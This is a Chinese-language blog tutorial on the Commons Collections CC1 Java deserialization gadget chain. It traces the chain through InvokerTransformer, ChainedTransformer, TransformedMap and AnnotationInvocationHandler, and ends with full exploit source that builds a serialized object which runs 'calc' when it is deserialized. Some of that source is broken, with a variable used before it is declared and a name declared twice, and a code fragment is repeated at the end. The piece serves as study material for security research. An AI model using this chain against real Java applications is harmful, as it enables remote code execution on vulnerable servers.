当前位置:   article > 正文

java反序列化CC1_java反序列化链cc1

java反序列化链cc1

java反序列化学习之CC1链

cc1链学习

Java Commons Collections的利用链也被称为cc链,是在学习反序列化漏洞必不可少的一个部分。首先先介绍一下Commons Collection组件,Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合⼯ 具类。

collection是set,list,queue的抽象。

作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

CC1链影响版本

jdk<8u71,因为在之后的版本中有个利用点改了逻辑,这条链无法成功调用
  • 1

我们利用链的操作,首先要找到一个可以任意执行命令的地方,然后一步一步的向上调用,直到调用到到readobject这个方法,这是我们的思路

  • 这条链任意执行的地方在Transformer接口上,这个接口只有一个方法就是transform方法

在这里插入图片描述

然后我们先看看继承的类,主要以下几个ConstantTransformer类,返回一个我们设置的常量

在这里插入图片描述

ChainedTransformer类,传入一个transform数组,然后将数组里的元素以一个递归的方式调用,进行一个链式的调用

在这里插入图片描述

重点是继承类,这里写的已经很像一个rce的漏洞点了,我们可以通过他进行任意命令执行

在这里插入图片描述

我们先用反射写一个最简单的shell

在这里插入图片描述

接下来我们用InvokerTransformer写一个

在这里插入图片描述

ok,成功,所以说这个都像是后门的写法了

  • 接下来我们看看哪些类调用了这个transform方法

    在这里插入图片描述

发现TransformMap类中有checkSetValue方法调用了transform,我们先看这个方法的构造参数

在这里插入图片描述

发现参数就是map的key和value,但是这是个protected方法,熟悉单例模式就知道我们还需要一个方法来调用这个对象

在这里插入图片描述

找到是decorate方法,ok接下来我们测试代码

在这里插入图片描述

ok,这时我们就只有一个问题,那就是怎么吧runtime的实例化对象放到transform方法的参数中去,我们看checkSetValue中的Value参数我们怎么控制,转换为谁调用了checkSetValue

在这里插入图片描述

我们找到是这个setValue方法,在MapEntry类中调用了

那么mapentry我们熟不熟悉呢,其实是遍历map的一种写法

    for(Map.Entry<Integer,String> entry:map.entrySet()){
        System.out.println(entry.getKey());
        System.out.println(entry.getValue());
    };
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

然后我们继续向上找,找到readobject方法,重点看这里,下面是他的构造方法map是我们能控制的,第一个是注解类的泛型

在这里插入图片描述

在这里插入图片描述

但是这个类不是pubilc所以我们必须靠反射来获取,如下

在这里插入图片描述

到现在离成功还有三步,我们需要解决三个问题,1我们发现他这里调用的setvalue传入的是new AnnotationTypeMismatchExceptionProxy这种类型的对象 2.Runtime类没有继承Serializable,我们只能引入Class

3.在最后的if判断中到不了setValue

我们一个一个解决

首先是Runtime的不可反序列化的问题,我们用Class来替代,如下写法

在这里插入图片描述

我们再利用InvokerTransformer方法一步一步调用方法,直到调用到exec方法,但是有些繁琐,我们可以用ChainedTransformer,他的功能就是传入一个transformer数组,然后递归调用transform方法,我们只需传入一个参数即可,如下:

在这里插入图片描述

在这里插入图片描述

然后再看if判断的问题,重点看这串代码

在这里插入图片描述

var6其实就是我们传入的map的key,我们假设他的key是“xxx”,而var3就是我们传入的注解类,看到var7=var3.get(var6),我们知道这是用get方法获取名字为map的key值的变量,所以我们需要一个注解类,他必须要有成员变量,并且我们map的key值还必须与他相等,这样才能让var7能获取到值,我们找到了Target类,他的成员变量正好有一个Value

在这里插入图片描述

非常合适,调试发现成功进入

在这里插入图片描述

ok,接下来只剩下一个问题了,那就是最后一步setValue的问题了,我们想传的是Value是Runtime.class,但是他这里自动传入了一个其他对象,所以我们要想办法将他的Value值修改

我们正常调试,到了checkSetValue这一步,发现他的valueTransformer就是我们定义的ChainedTransformer,但是Value不对

在这里插入图片描述

所以我们需要在他之前换掉,这时就用到了ContantTransformer,他的transform方法是不管输入什么都返回一个固定的值,所以我们想到能不能在执行ChainedTransfoemer中的InvokerFormer之前先执行一遍ContantTransfor将这个我们不需要的对象转换为我们需要的Runtime.class呢

在这里插入图片描述

继续执行

在这里插入图片描述

在这里插入图片描述

发现object已经成功换掉,成功弹了calc

在这里插入图片描述

附上源码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception {
//        Runtime r =Runtime.getRuntime();
        Class c=Runtime.class;
        Method execMethod =c.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");
//
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

//          Method getRuntimeMethed=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//          Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethed);
//          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);


        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);



//        Class c= Runtime.class;
//        Method getRuntimeMethod = c.getMethod("getRuntime",null);
//         Runtime r=(Runtime) getRuntimeMethod.invoke(null,null);
//         Method execMethod = c.getMethod("exec", String.class);
//         execMethod.invoke(r,"calc");






        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","value");
        Map<Object,Object>   transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//
//        for (Map.Entry entry : transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationghdlConstructor = c.getDeclaredConstructor(Class.class,Map.class) ;
        annotationInvocationghdlConstructor.setAccessible(true);
           Object o = annotationInvocationghdlConstructor.newInstance(Target.class,transformedMap);
           serialize(o);
           unserialize("ser.bin");

    }
    public  static  void serialize(Object obj) throws IOException{
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
        Object obj =ois.readObject();
        return  obj;
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75

这周继续更新
ows IOException,ClassNotFoundException{
ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
Object obj =ois.readObject();
return obj;
}

}


这周继续更新
  • 1
  • 2
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/一键难忘520/article/detail/779982
推荐阅读
相关标签
  

闽ICP备14008679号